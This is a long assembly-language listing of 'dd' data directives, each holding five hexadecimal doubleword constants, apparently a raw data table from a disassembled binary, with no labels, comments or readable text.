dd 0A5872B53h, 4F3D7CE8h, 0C82DA529h, 0CB531CE5h, 0F3DF8B37h
dd 94AE1FEh, 3509A100h, 4E44C627h, 0CD3F0600h, 28FEC242h
dd 74B189BAh, 0F7404515h, 67511E74h, 621425FEh, 0C40B0620h
dd 96986DCDh, 0ED8FBF14h, 22C4FDE3h, 8C87163Ch, 2E9DD87h
dd 0FB9B5A31h, 0B2E35352h, 0D21158CBh, 0F69FC599h, 0B0FBF980h
dd 7FBDC65Dh, 0C0772B93h, 0B75E0E54h, 42D10B82h, 0B506B8FBh
dd 5A9F5C09h, 0D8F253F5h, 4B2E7370h, 4FB067FEh, 21667DA6h
dd 5D95156Fh, 6B95A608h, 0BCCF7F7Ah, 0C909A9F6h, 2ED51521h
dd 0DD48EEF9h, 0D4F2D75Fh, 8B6D6368h, 60AEFE7Eh, 58B5950Dh
dd 78624091h, 0F3CCBA0Bh, 3F2376BDh, 3EDCF97h, 33CDB9C4h
dd 0D9663054h, 99E8DE83h, 0B3543093h, 0F81B9DE1h, 6278733Ch
dd 8AEC9A3h, 820729F8h, 0EC5FC994h, 347CDED1h, 0AB8F38FEh
dd 60FC05ADh, 0B870049Ch, 0CFA90535h, 3CD40789h, 1284A331h
dd 6F65E42h, 53DDE50Dh, 0CFEA0C63h, 2C3AAF83h, 93CAEC41h
dd 6706698Fh, 0A0BFAECFh, 541A14CAh, 0DBAA201Eh, 92D690EDh
dd 0FC9157CEh, 17061633h, 0C0738847h, 388BF3D5h, 0B3BB8FBCh
dd 2608D705h, 0DAC8CDBAh, 82700A96h, 6B4EA325h, 0B8CEDE70h
dd 0A3C75133h, 0E646549Eh, 0E0C2F82Dh, 0A161EFA0h, 0F5D2821Dh
dd 0D387563Dh, 0A3C31ACFh, 0A440DC8Fh, 0E053B3A5h, 872D1FC1h
dd 4B3574A2h, 0D68B0872h, 1168507Eh, 0DBDAF765h, 0E6B72AEDh
dd 0A146F366h, 71409EA4h, 224A57B0h, 93301BCBh, 0C0698F24h
dd 84CD1FE6h, 0CA725A6Dh, 1169B7A2h, 0FA9197AAh, 21A70F84h
dd 0CE560FFCh, 2FA836CAh, 3AAF2F55h, 54BA7387h, 79E94A64h
dd 57A3424Dh, 2A8E444Bh, 4109BDE7h, 1185F139h, 718F1875h
dd 1B88F57h, 8D4C205Ch, 80A1001Eh, 2BC2B42Ch, 840AB31h
dd 45B35348h, 0A7B1E3BBh, 0C57B87C7h, 697286FAh, 4A6C7D69h
dd 46C2A131h, 72D3E455h, 873A658Ch, 0D8390766h, 47B95F35h
dd 0F11C5D7Bh, 0BD1C16CEh, 3D3C0C24h, 3F85DA53h, 5DB2671Bh
dd 7BF1C85Fh, 34825A06h, 0CFB669FAh, 83E58247h, 2E6F3E4Ah
dd 9B39A0EBh, 29FF7737h, 770D0B05h, 109F85B1h, 513D3FDh
dd 2E6496BCh, 0E369B548h, 0FF777CDh, 0B77D4417h, 2CC2B551h
dd 14D516h, 5031EF2h, 58D2C2C8h, 44FEEC10h, 517FB114h
dd 0DA723752h, 3713DF1h, 9F55D912h, 4D176C59h, 0AACD92B6h
dd 97E45A91h, 9B0721F6h, 1F3CF6FEh, 5F9FDA0Ch, 36B8B69Ah
dd 93E4CC4Ch, 0F35FE207h, 34B5A987h, 507EBD9Bh, 9F55A83Ch
dd 129AFCF8h, 11C9C702h, 1BBFD840h, 1ED10288h, 4FB56B9Bh
dd 49CFD3D8h, 5A212D47h, 10022C05h, 0FD92B03Dh, 0D028839Eh
dd 6DD457A6h, 0BFD9693Ch, 65E25EA4h, 0C788F32Bh, 0B7D9BEFBh
dd 0F9EF8669h, 234FC8C5h, 5C38DD16h, 0F66F76B6h, 0B8F1B656h
dd 0DC1BD42Dh, 0DA3F605Ch, 77919A2Eh, 40074BA1h, 0C807BC84h
dd 2336E7C8h, 4EBB4858h, 6584128h, 784BD478h, 0CF00F9A9h
dd 18DB5B20h, 107EC230h, 0DDBD14FEh, 18F997F2h, 358FB74Ch
dd 774CC4BBh, 517366EDh, 658EBDB0h, 53BB7BEFh, 0D9F9EEFh
dd 19CCD5EBh, 0AB09A5BEh, 0F65A3BC4h, 9C8A15D6h, 7AE3B3DEh
dd 6E2216D6h, 3E9B351Fh, 584E8B36h, 10A36D83h, 9A55803Ch
dd 5A5040D2h, 7840BBDBh, 1D4B2243h, 22DA1F9Eh, 0FC07D464h
dd 0A6010E12h, 1B488F9Eh, 15230710h, 0E263035Ch, 1C640F15h
dd 4654B7E7h, 32C546Dh, 5E1CEA0Dh, 0B8C32D19h, 305EECC6h
dd 8268C7BAh, 834F7102h, 93E3DC62h, 7A8FFDDAh, 0C3D60770h
dd 4BE70555h, 44E0079h, 82588C81h, 0B5946B95h, 1B584FE5h
dd 86FBB45Fh, 94039094h, 40DB4140h, 19E03A45h, 0BE6572DAh
dd 0E28BED67h, 191B4959h, 98A56015h, 3C28F245h, 6165427h
dd 0CE63BF99h, 0A8B5B312h, 0A249E7CEh, 38CC6848h, 78012806h
dd 5A47184Ch, 8957F7A6h, 54FF254h, 41027AC2h, 0A2D8CE8Ah
dd 0E0BC4EB9h, 1379D21Bh, 0FA476534h, 5311E24Bh, 9FC2AADDh
dd 0E56D6884h, 0D4A34DB0h, 0AD7FA75Eh, 0D3BE4EDDh, 77981C47h
dd 7E14DFEAh, 0EFB5D88Ch, 0D4F41950h, 85B7FE10h, 0FF4A3D7Eh
dd 0B8DB6C6Ch, 8EA1DFCh, 0C97EC07Ch, 87CA57C5h, 0FEF96344h
dd 727CD019h, 0C6844541h, 0FCCE1639h, 788EB2A6h, 0AA303076h
dd 47AC2443h, 0DF092B1Fh, 102A685Ch, 2FA8C075h, 9429E71h
dd 1DD9B8CFh, 0D44308ABh, 1B8FAE4Bh, 5586BCFAh, 4DC14B43h
dd 0F2A19591h, 315ACDB5h, 0CB957EB5h, 9C958334h, 859997DAh
dd 81CB6D46h, 4FDCF1ECh, 0E9110446h, 0EC248BE8h, 0F21CA813h
dd 0F8D97E0Ah, 1B2AD72Dh, 708C5DB3h, 0A2CCA72Bh, 0B0E6E8B5h
dd 0B671B09Eh, 8EF6DC0Ah, 41C0CBFBh, 82162FE9h, 0B60B7BC2h
dd 0B5F76BF2h, 4E4B02C0h, 4CB298FCh, 0C4B7925Bh, 5CF11C28h
dd 8053B9E1h, 13AA5949h, 910E4912h, 8750EE12h, 71236AD7h
dd 0DB9DEF73h, 9360FE60h, 0D9EFEAC9h, 0E5688B8Ch, 5F18835Fh
dd 5E649B3Bh, 12F2B09Eh, 51B8442Eh, 38FB6D56h, 5D84F648h
dd 0BB0884E0h, 0D6E08DB5h, 3EB23275h, 0E1AAD3EAh, 733132FAh
dd 6D8E4E08h, 782891A3h, 52E9BB9Dh, 0AF8CAC9Ch, 99822AC1h
dd 94B4A551h, 578CB30Bh, 0E9247FCEh, 63730A1Ah, 0A5A4E69Eh
dd 664447B6h, 1EF9C7E7h, 3A44320Eh, 444F45FBh, 1B8FC209h
dd 0E09422CDh, 1652F151h, 38DE0498h, 9C74E014h, 0D9861137h
dd 6090D591h, 0A79CB8BBh, 23EA924Ah, 32E488B8h, 77C96314h
dd 4E6FBC77h, 4706AAC7h, 1C6A3134h, 52A21A0Fh, 96689525h
dd 8386351h, 0B361B699h, 2637CE61h, 57037514h, 87520B6h
dd 1D55E5B6h, 177C7F64h, 470AB5Ah, 0A4910CE8h, 20FAB3E7h
dd 91A925AFh, 0B3AD6E8Fh, 0BD64C0FDh, 0F06DC203h, 7B5C2E81h
dd 0F37AC067h, 98689499h, 3F4F25A9h, 179C93ACh, 84C9822h
dd 5EA4EAF1h, 0C03905D8h, 25693504h, 75C0F9A0h, 0A498FBA1h
dd 7103BC29h, 51F212D8h, 0E758AE74h, 931BFB61h, 0C0454B3Eh
dd 7487AF3Ah, 47D5656Bh, 1F91112Bh, 0D3FC44B6h, 8D548751h
dd 6F96AC10h, 9AFCEDD7h, 0C92059AEh, 6BDC870h, 0BF939B43h
dd 0E30B1D29h, 7798F955h, 6A3B732Bh, 2D6BB58h, 0D1BCA53Ch
dd 44D0517Fh, 0AD6D969Ah, 0B36A3871h, 4F0E3EDDh, 73A810Ch
dd 398E4673h, 909B7D17h, 0B4C9FDE7h, 0C61B3601h, 0CDCFD1EDh
dd 0CEB8AC34h, 0CB2890AFh, 2A41769Ah, 0A017E50Ah, 653117F2h
dd 183AE272h, 165E97ABh, 0ECE69985h, 0FC7037Ah, 1CD2265Ch
dd 65693D37h, 4CE57EE5h, 819F1AC0h, 0F836E12Bh, 3685D52Bh
dd 0ABC5036Eh, 0E78F7854h, 822F7CC1h, 7B81A098h, 6D36AD4Fh
dd 0A8F3CF9Bh, 382810D0h, 0A44E87F9h, 9A6E094h, 50636DC9h
dd 0E687EB3h, 91EB0253h, 0D2C79322h, 11703932h, 6021F952h
dd 0C2C1B758h, 8333A57Ah, 0EEF361Ch, 0DE3F75D3h, 6E2167Dh
dd 29DACE2Eh, 0E80BBAABh, 3246911Ah, 697FD03Dh, 217F329h
dd 0D8B40BEEh, 52E01FB9h
dd 0CB17D5E7h, 0DD2CAC10h, 50052145h, 8E51429Eh, 585191A8h
dd 175C2D7Ah, 0AE7278D6h, 0E5FD23D2h, 768D03ABh, 634518D2h
dd 0C10339Ah, 87F5E38Dh, 891C8072h, 9CFFF9F6h, 0B84A4388h
dd 2B9A42CFh, 0E0DB1670h, 245C0C62h, 15ACC665h, 0D892455h
dd 4423D228h, 2A8FAF50h, 600B701Fh, 48C09C0Eh, 2E4C052Dh
dd 0DBE3C168h, 5B05300Fh, 9D7F711Ch, 6614B74Dh, 79087DA6h
dd 71A16CA3h, 5AB9551Dh, 63C342F8h, 0BD70FFD0h, 5B2C9648h
dd 62ED4317h, 0F3FBE3B2h, 0AE285268h, 0DB191C2Ch, 17DFD61Dh
dd 6001C480h, 737E1576h, 4A8E2D78h, 21F40FAEh, 0D3A7EF45h
dd 0FD8732F2h, 0E213A8E4h, 0B5D2A21h, 0FFF93D1Bh, 7ABA4A8Dh
dd 0B5F8A61Dh, 33478C21h, 74DCAE47h, 9BF37656h, 7240C023h
dd 0F37C5F84h, 0EF8727F7h, 0D80773Eh, 6D519FA3h, 902A47FDh
dd 95F9C9CBh, 70A2FC40h, 0C1EDC2F9h, 77CA9D81h, 96D96D3Eh
dd 3ED11DCBh, 1ED75BCCh, 61EED5Ah, 0E2CF08E1h, 3228B8A4h
dd 68428091h, 1C1D2201h, 0A305FE9Ch, 0AC94BA7Ah, 97A276BCh
dd 1D624501h, 437A9EBAh, 0FA540DD9h, 0DEA48D57h, 0F21908F7h
dd 99D3E6E8h, 6EEB9F6Dh, 47DC6832h, 4C957464h, 0F05CA81h
dd 63388252h, 2CBE1AB8h, 32E21D9Bh, 0C4CD3D70h, 79CFA74Ah
dd 0EC62ACDBh, 0C22B3E17h, 0A0DD2BFAh, 0F4D7E9F4h, 36AD2C72h
dd 590A012Bh, 0F6894A9h, 1B556EE6h, 0F2C6A9A4h, 0F745A05Ch
dd 1A444BF1h, 0E857D358h, 0B586FCBh, 6F74A860h, 0AEF2FF28h
dd 55076EC4h, 6D275F74h, 0AFF113FEh, 92908BA1h, 808C4AE0h
dd 0A8D2F924h, 0DC7D60CEh, 0E81BD711h, 0E3CF4E54h, 498FC3F9h
dd 0A95BBB4Eh, 7DE2E7A6h, 3B7E5AF2h, 0C2CF6EDDh, 0D94DA0B1h
dd 2B3F4A74h, 198EF477h, 3AF453BDh, 7581C86Ah, 0F68D8BA5h
dd 6C79BE6Dh, 0D2DA2039h, 0C47D8ACh, 0B38C2F66h, 0EED8C4F0h
dd 8FC81606h, 0F8901D3Dh, 6A56D690h, 73FB6C8Ah, 4D885A5Ch
dd 660F2DCDh, 0B1D004DBh, 16F1F563h, 67AAED75h, 1CB59335h
dd 373431C7h, 0BADCB2B8h, 34940ED6h, 2BB81300h, 90A2ACC9h
dd 0C2077014h, 0F4342D85h, 16A1C4F9h, 902623CDh, 0DBDFCF0Fh
dd 0D3B4BC68h, 3FA17DF9h, 0D21D96DFh, 38C406F2h, 2AF6B0D7h
dd 69C6A269h, 0F65584E5h, 0D9DF5F8Bh, 0F19E3713h, 7CBD8F4Fh
dd 0BB3FA2CEh, 0F3F0EADBh, 0B430D210h, 0EB49FC75h, 86E43C20h
dd 0B2723B1h, 0F9B97744h, 71042DBBh, 4B5D1376h, 0E9429D87h
dd 7510B567h, 0EE78FD34h, 89A87491h, 2BB2D6D0h, 0D40B6EAh
dd 4A119959h, 9115233Ch, 0E529D31h, 0B32DAED9h, 0AB3F4235h
dd 6D5B69A6h, 30A731DFh, 0FF55B4EEh, 0A2577D4Fh, 78BB2877h
dd 5382980Fh, 7E5C1FADh, 83B18CB1h, 4A4088B2h, 8C776618h
dd 0E7DD1A2h, 683DB21Fh, 8ED8956Fh, 0B6D7DAF2h, 17AB2566h
dd 19B8CB72h, 68EFFCBEh, 0C0BAE9Ah, 0CD7325B9h, 0A0EF30ABh
dd 72D7493h, 88BF4A61h, 6AE494FAh, 0CAC29FA5h, 7D70368Ah
dd 0C6054764h, 746321E5h, 0E33FD8F4h, 0AB3273DAh, 3027A314h
dd 0FF7E03DFh, 0D3EB39D2h, 89250D4Eh, 0BC1CBA0Ch, 18B9EA93h
dd 0FE761580h, 0DA4DA4F9h, 368B4E7Eh, 0A28F957Fh, 703D830Bh
dd 333C014Dh, 0E741BF36h, 4A0F5BE6h, 2B72C943h, 0FE563112h
dd 313FB3E6h, 46E2184Dh, 4D657147h, 983D0BEEh, 0D7904DAh
dd 933A1E5Bh, 0EAB391C3h, 41BEB66Fh, 49AD69E6h, 0D69DC950h
dd 75992DF9h, 46DE8C4Eh, 4C1FCA77h, 67B70DB0h, 58A3A314h
dd 0A9C5644Eh, 2A0320ABh, 96D7DE52h, 68B0E9FAh, 474887C6h
dd 0BB8B4DA2h, 51435B5h, 0C1975056h, 105E66AAh, 48BC6832h
dd 34796421h, 0AAC8AA87h, 0E5231A10h, 1C5EF15Ah, 0D18FE9BCh
dd 0D6DA3DC2h, 0B11D85CFh, 907F0275h, 9F6A2C5Fh, 2FFF63h
dd 169F67BFh, 9F74DDE2h, 200AE888h, 0E55DF92Ch, 0CE06E668h
dd 99C589ADh, 16FF9F7Bh, 8B166539h, 8C809A67h, 1650E25Ch
dd 9C769A0Ah, 0A557F542h, 8ABBBD98h, 68D12472h, 6221144Eh
dd 9890A43Eh, 5C635D1Ch, 7C4A861h, 5E195365h, 11D7FA11h
dd 0EC6D596Ch, 0F4A17D99h, 807EDDB2h, 4A380D01h, 1ECE9365h
dd 0BE4B8EB3h, 7CD5DF2Fh, 7FF20EF1h, 0E1D83EB2h, 90C9511h
dd 0BD80DBA7h, 1020A0F7h, 0DEA4B06Dh, 21248486h, 0DAB188ABh
dd 10478A5Dh, 0C1FCC6A5h, 0EF1780FBh, 7D10572Bh, 7530D689h
dd 0DC0E5CFh, 860AB92Dh, 0DEA15F21h, 0E241AE67h, 0AD866EDEh
dd 3DF9ED46h, 421A96AAh, 9BB5264Fh, 5153184Dh, 32CF9116h
dd 0EB066E29h, 0F590AE03h, 4AEF7C12h, 0B3F6F499h, 2360EBh
dd 0E7C24FF5h, 0AA8D0F65h, 0AA57684Dh, 427D8DB5h, 375CF749h
dd 0DEEB9FE4h, 0ABC1EAEAh, 5B69D7E3h, 20BB2F29h, 0D8A2052Ah
dd 57036795h, 1D934FC8h, 0EF4A0BA1h, 88910B59h, 7C432465h
dd 8C466B80h, 408D13Bh, 7BADF25Ah, 0EF409E21h, 0E1391AD5h
dd 0DF808579h, 0B4765E7Ch, 0F3275EA4h, 142C70F2h, 1960A1D7h
dd 189B8315h, 956F0C77h, 8A34154Dh, 0A21159DCh, 0D0648C35h
dd 0B9C1CF24h, 0BDAE9058h, 9F0A3630h, 93E1172Ch, 0BA00B496h
dd 18BE43ECh, 0C9AEFFF5h, 5C417A1Bh, 0E0CE6AF5h, 0FE5A864Eh
dd 0D4E95DCh, 29C306DBh, 0C898A615h, 0B75C66DEh, 5D68950Dh
dd 72E40163h, 0DE99EAE1h, 0AD9FA7FDh, 6D042157h, 0A935C7AFh
dd 6C998E4Eh, 0AA07B9DBh, 0EDA5B80Fh, 0A1FBFC6h, 51E59E88h
dd 0C1F816B5h, 55A4FA1h, 8898CACAh, 9DEA76F3h, 7D23F5h
dd 1A3E03E2h, 94B892DBh, 0C3D30936h, 3B27933Ch, 9010D425h
dd 0EE78B01h, 394F21Bh, 788C059h, 7CE92EC8h, 0F17BB28Bh
dd 90738368h, 64CE2FF8h, 2EAC2872h, 0BAE44575h, 888EE6DAh
dd 92AF02B4h, 93EBC0D5h, 8A8A62C4h, 0DCF78CD4h, 16B407D7h
dd 2B65E07Ah, 2B64E453h, 0BA881014h, 0F9887602h, 642A68D8h
dd 57D35B19h, 0A8B6ED51h, 51E0E22Bh, 0C22EE9EDh, 5D0E6A89h
dd 59714FA7h, 0A31601A1h, 26C4341Ah, 9441D55Bh, 10E724DBh
dd 4A1F31E3h, 393193F9h, 294453D5h, 44D4C0Ch, 0EAC5FD90h
dd 4E41CF7Dh, 0A42558B7h, 16923A92h, 0C1E98A93h, 0CF7C5A9Dh
dd 0D9C3BF9Eh, 0BBDC0B2Ch, 0A047BEB5h, 4A774B82h, 76D57E7Bh
dd 6879EA0Ch, 286CBAFFh, 0EAF5DE9Bh, 877E87F2h, 453BBCB3h
dd 0D5D53E58h, 94F914D9h, 428B58F4h, 0C24ADCA7h, 7E7EC033h
dd 0BDF8D30Dh, 2F7688Ch, 0F3EA7B3Ah, 0EF6F4001h, 943E5E35h
dd 7C3BB46Bh, 8794BE9h, 57588822h, 0EDEE5B08h, 85BBFFB5h
dd 0A98CE8AAh, 0C91871B2h, 5ABE35E4h, 1771D7Fh, 14468CACh
dd 11F35634h, 103D283Bh, 957A71E5h, 8EEDE388h, 8354558Eh
dd 6CB606Dh, 9B472AAAh, 9B9C89ABh, 681A0648h, 0A62F4799h
dd 5AAFB55Bh, 5EAB481Bh, 8D5916D8h, 8CE7973Ch, 62DE1001h
dd 0CDF9885Fh, 5D91779Ah, 0DC7BEA09h, 2AB0B535h, 11C453F9h
dd 0C612533Ah, 1A95A7A1h, 7618E7Ch, 0D9AD6CB2h, 0FC867B7Ah
dd 6C295974h, 8C40A19Ch, 5E0648F7h, 0F17295EFh, 0C597DF10h
dd 3DB790CCh, 0C00B1012h, 820B345Bh, 0F834E831h, 3E4E41D2h
dd 255F21E4h, 93D5533h, 0CFEFBCA7h, 61DB5A82h, 549999CFh
dd 4E942DCFh, 0EF8BFBC8h, 497D69AEh, 3A6EAF5h, 236ABA25h
dd 66B2F78h, 0D48A0468h, 0BECECA93h, 0BF538AA0h, 89D9E9CFh
dd 0F5FF6E92h, 6F39B5E7h, 0DB859CA0h, 7342189h, 901021C7h
dd 0EF12D49Dh, 165E9E65h, 5DEC6715h, 0B3FEA6ECh, 5282A032h
dd 71A50C58h, 73022D57h
dd 25F47A6Ch, 0F8199942h, 0A6AAABFBh, 44537BDFh, 0B35D2BD5h
dd 0DB794EA3h, 1B4B12D2h, 0E1F97985h, 77198DFCh, 765FCEBFh
dd 4C15F17Ch, 7F18F415h, 950BF943h, 747D4A8Ah, 665EFD0h
dd 0DD2105CAh, 72156BD3h, 0DA01B464h, 0C5AE1399h, 25D8BFE9h
dd 0CCA9DB0Bh, 761858E2h, 37FB1F2Fh, 5FD16F02h, 3B57D92Fh
dd 627B193h, 0CC0576A8h, 34C5F1A5h, 0E63BB21Ch, 0BB04DB7Fh
dd 2D859EC4h, 28DF556Fh, 9298594h, 9677823Eh, 0EF1CE455h
dd 347A5C82h, 821A36CEh, 3D73F926h, 0FFCA8D5Ch, 4FFCE438h
dd 0E350A6CBh, 40093ECBh, 0D83AE0DAh, 0D951F25Fh, 4FF9E1A3h
dd 0EDE71346h, 0F533F3B2h, 35E79BBEh, 109710E8h, 1938007Fh
dd 0A7A999ECh, 2C2A115Ch, 0FC8B5DA9h, 96F56D4Eh, 348E983Fh
dd 0A9F39CD9h, 0BFAF32ABh, 9D991098h, 0B596DB99h, 0BD5B61C6h
dd 0E363CE4Ch, 0F008923Dh, 3B2B6B8Ah, 1DEA9D98h, 30DAF104h
dd 3E1F4EE0h, 3D6D3FCFh, 26665249h, 38202B60h, 0C18D3282h
dd 54BA5367h, 81482FBAh, 79929069h, 0FDF3071Bh, 89CAC5A8h
dd 7FB90510h, 8CCDE57h, 41C1C04Dh, 539E9874h, 91CE3DDCh
dd 0E3ED1FF3h, 1251E5FDh, 3840CDC6h, 0EAB5560Fh, 0B5DEC1B2h
dd 0DCB50322h, 1829B75Eh, 11F13998h, 8101B738h, 0B1CE5285h
dd 0D7166521h, 0FB2E517Fh, 0CBA7D7E2h, 16546994h, 0B66C9DBBh
dd 0AEBF0928h, 0B5860DF0h, 0D18F18D8h, 0D515E12Bh, 73373686h
dd 0F58105E9h, 0E7D4DDCDh, 35F819D1h, 3D7A232Bh, 0C36D9347h
dd 0F8EA01F2h, 8544Eh, 2D61F1B9h, 4730439Eh, 0C70B9E7Ah
dd 0E57D1B16h, 58954BBh, 0EC1461F1h, 4452DBD2h, 0D8FBD161h
dd 566FC5B1h, 5A1ADA37h, 1BA97CEFh, 0E3B69D43h, 46BD0B94h
dd 46E36A3Ch, 7D685BC5h, 0CAA37C78h, 7A08862Ah, 49377B52h
dd 96C692FEh, 4F151568h, 0B44E6395h, 0A7962265h, 0E709BDB3h
dd 4A301B59h, 0E9D41C41h, 1DC90B1Fh, 0ECD797A4h, 0EA2B3C40h
dd 552685ECh, 7D42B671h, 24D0E373h, 7B36CD24h, 0CF2475BEh
dd 5F09C810h, 1E5633CEh, 23B8C5DAh, 0F5CECCDh, 13C41564h
dd 0CD169C9Ah, 6909E229h, 88E571CDh, 22308F01h, 92F7DEC9h
dd 3787615Eh, 6DE2D302h, 7B6B8343h, 7BE5117Ch, 3BEBE6B7h
dd 0D954B6F5h, 0EB08708Bh, 37578B13h, 562145Dh, 1F947Bh
dd 2DEBECFBh, 81732FA3h, 0B7A3D403h, 0B98C2EFBh, 0F320C5Dh
dd 0A5DC11E7h, 4CCF8E61h, 0BD5F4D4Fh, 0B421CEF5h, 0E511A84Fh
dd 7EC1BB37h, 19F2405Ch, 71F8DDBFh, 0E84D07EEh, 0B54F3B3Dh
dd 85253F81h, 34C3B0FAh, 0BAB55EA9h, 5A950F71h, 75025A94h
dd 4F893BCFh, 93FBF2FBh, 0A3182CEBh, 0BC224499h, 0F2ADE568h
dd 0F262E4D6h, 0BA44FA1Ch, 588E638Ch, 0C809ADDCh, 9CE152CBh
dd 0B06DDBAFh, 0FC94CD01h, 0C121ACA4h, 0B708147Ah, 13623B09h
dd 0E80B67Dh, 52807B48h, 588E2E9Dh, 3CFC0534h, 4D1368C4h
dd 0B306EED6h, 9B2D2398h, 5DFE6A2Eh, 0E6521E94h, 9C49453h
dd 9BEFBC73h, 0DFA7A883h, 6E3502EEh, 8705A24h, 6C9D8C8Eh
dd 0A92AD5C3h, 62EF822Ch, 9714257Bh, 9BB0D80h, 84E8AADBh
dd 0F3FD69EFh, 778DE473h, 0FEBD99AFh, 1BB2BF71h, 438ABD0Ah
dd 15A893B8h, 0A38E7D51h, 0A0442494h, 0CFC07F68h, 8701F27Bh
dd 0B746DF56h, 63DECBD2h, 0D25E0026h, 4AD7402Ah, 255A3D76h
dd 0D2A6CBDCh, 72B2B931h, 10FFBDADh, 0C3282397h, 55A07EE1h
dd 5797664h, 9D7BCB8Dh, 1BF55557h, 0FCDE387Bh, 0F0C66CACh
dd 8FEB7C30h, 32CF5783h, 55C94B60h, 0E8869023h, 6AAF0F89h
dd 5646D25Ah, 269A3E5Ah, 0EC4A8Fh, 0AD4CAE4Fh, 0C0C1BEE2h
dd 0A4C66EE4h, 63E8FCE2h, 51A2AC8Eh, 8156EBFEh, 9271166Dh
dd 54EE76F7h, 7326B196h, 5A96D3D4h, 5C790A1h, 3BE55DBh
dd 0A35D49CDh, 0A554E821h, 0F23D2004h, 0D8D487EAh, 92140A0Ch
dd 27D01673h, 0C8711BF6h, 46DF341Ch, 311D2E5Bh, 0CF37E2F4h
dd 0CADB2A14h, 0CC0BB8B1h, 0FB479F8Eh, 24E1DEB3h, 0D48C4F43h
dd 7BBC67B0h, 0D98058FCh, 855FBE8Eh, 15F8E4CAh, 0F7A8E0EDh
dd 891558ECh, 3EF148C1h, 0EB351E65h, 234D7E36h, 4505D12Ch
dd 0BD645824h, 62F9C5E7h, 46657A86h, 5F734BE9h, 0D29BA3E2h
dd 0E5455672h, 5A059D15h, 429B5128h, 8D25636Ch, 0D652C989h
dd 1D916F8Ah, 2789BBE5h, 4AE0863Eh, 0DE160CEEh, 10148861h
dd 0A92F2BB9h, 0AEF00679h, 487A4156h, 67A85EF5h, 0FBAEBC45h
dd 2B03A4D6h, 0E28ADF57h, 67D222D8h, 0E1254E3Fh, 0F684A070h
dd 5826D790h, 23F15093h, 0ADB16053h, 4FACF513h, 78964A0Dh
dd 4BD9AC3Ah, 0F808C2C6h, 0EA1672h, 3AC8F5FAh, 0E6046826h
dd 199A5FAEh, 6626A5B6h, 0D0A6BDECh, 94B6185Bh, 6B70E05Fh
dd 7F5C58A9h, 3765A772h, 3CE1861Eh, 65F46324h, 1B2DE38Dh
dd 0BEA92D53h, 0C547625Ah, 0DFF6E7CFh, 0E6CF96B9h, 4F96DE14h
dd 0DB92225Ch, 1F3CB5CDh, 561F6D77h, 4FA34324h, 3858D0E8h
dd 0AA30D1E4h, 36847E92h, 74E68DCh, 0BC32F2AAh, 0A6D026FDh
dd 0B9CE232Bh, 0F631441Ah, 0BF0C9748h, 23D5570Bh, 70A61F1Fh
dd 9E10B22Eh, 0D9734791h, 15DB998Bh, 34226B98h, 0A0D8991Ch
dd 454C3298h, 0B4FE850h, 0BBDCCB87h, 85A137A1h, 0C0D428D7h
dd 60D56554h, 2BDC1AA8h, 0F2C85122h, 0FDEC2975h, 262C7E64h
dd 616EF161h, 4E5DF17Fh, 0AE1E2CDDh, 3446346h, 52D2713h
dd 12E6FE45h, 0AFC7B2EEh, 0F582CCAAh, 2D3E586Eh, 63914C02h
dd 3885CC5Dh, 992FC656h, 0C2ED5EBAh, 47DC4767h, 8516200Fh
dd 0D3E4D4B3h, 59A427A8h, 0C5C8703Dh, 0A667BA5Eh, 7A5B21D0h
dd 0F436FFAh, 0BA497E45h, 56BC5E4Eh, 0AD2425EAh, 3D794B9Fh
dd 0FBA0E4E5h, 0E647DD37h, 65BEB36Bh, 5A5CA704h, 732F4617h
dd 8FE61EA0h, 0F4CF73CDh, 341E9A66h, 313A2D68h, 566CE57Ah
dd 80BEB57Eh, 0AF1303B5h, 0B4D1E03Fh, 0FA3CC27Ah, 194F6858h
dd 0DF1DB08Bh, 0E165BE9Eh, 0B74C34A5h, 0BA020677h, 1C0F3B86h
dd 2F776D9Ch, 866D620Dh, 0AA95DB86h, 0E784CCE7h, 9EADED0Ah
dd 747FDECCh, 0E25DE544h, 0C13A40F4h, 86170AEh, 8B7BCC05h
dd 0A25EF6EDh, 38385AD8h, 0EA684FADh, 203E6F67h, 18C52A30h
dd 269B35E9h, 0F5907909h, 0C872862Bh, 96B5A6D2h, 0CB575769h
dd 0A1B30E77h, 7ABA0ED8h, 0C952F35Fh, 0F6E91602h, 9B27DCh
dd 6FD16AB3h, 0A74A8844h, 4CFA83FCh, 7340DD5Eh, 6B6AFCD5h
dd 22F2A960h, 0AC29ED21h, 626FB44Dh, 2CC550FFh, 7DF0F2Fh
dd 0FE602BBBh, 0D28EE3B4h, 589C921Eh, 64220D7Dh, 388FD996h
dd 20E2D512h, 0EA228B68h, 0A6E3B483h, 7C8BDE1Ah, 0ECB4C349h
dd 114EF628h, 115E339h, 9E2BB707h, 0DFE35C87h, 0D2B5DEA8h
dd 0A3C0AF16h, 4CFDB234h, 9DD0238Ah, 75972510h, 39710F60h
dd 26371BDBh, 0D1AC13E1h, 17985D10h, 0F0D926EEh, 0C7A7DE1Fh
dd 116750CAh, 0B4A239E1h, 8C51B135h, 0EF9340C2h, 87234068h
dd 970173BAh, 6C09F65Ah, 0C4A6E0BBh, 91D9AA38h, 77CCDD86h
dd 4854432Eh, 3E05E4AFh, 945F0960h, 0BDD1FD17h, 8D40B759h
dd 506CCEB0h, 941AB4C4h, 0A1B4CE77h, 704E1838h, 0D8BF6D3Ah
dd 31381CCh, 0E894BD19h, 0A9DCB912h, 41FEB5CDh, 9DCFCF40h
dd 0B69E13D4h, 793914A2h, 21F4FFDEh, 756B2247h, 0ED928CA2h
dd 0AF7803BEh, 0AA565773h, 0E88797B9h, 4F7510D8h, 0E3C38DFAh
dd 1871D0EFh, 4203BB53h, 0BA4475E7h, 6A40C76Dh, 352FFF58h
dd 725F3ED0h, 0BC91D543h
dd 514D436Ch, 0CC43F515h, 13390221h, 5B9778F7h, 0FB663B51h
dd 57E72B51h, 0DF5A9BACh, 23FF5BF2h, 813F8EDh, 0F2DAA800h
dd 0CB4718D1h, 1A184213h, 4735732Ch, 2429DEF9h, 2957E356h
dd 8ECDB511h, 0DC62B37Ch, 71EEBC71h, 3E75554h, 289869FBh
dd 0A55A3D36h, 45C3FE14h, 4715BBBAh, 0AABAAEC4h, 0E3215E68h
dd 815E3BFAh, 36410900h, 0D82ADA2Dh, 51966D2Ah, 0C584E77Bh
dd 23BB63A7h, 7A34E10Ah, 355F8395h, 75345FB6h, 36321C97h
dd 0F8760F21h, 99444F7h, 57F6D362h, 3487FD84h, 0EB590445h
dd 0E8AC1BA6h, 493E316Dh, 0AB19AD10h, 0EAE694F5h, 2AED446h
dd 20A1569Dh, 0B53D8984h, 7B060A6Ch, 8F35EAD7h, 0C0A5858Ch
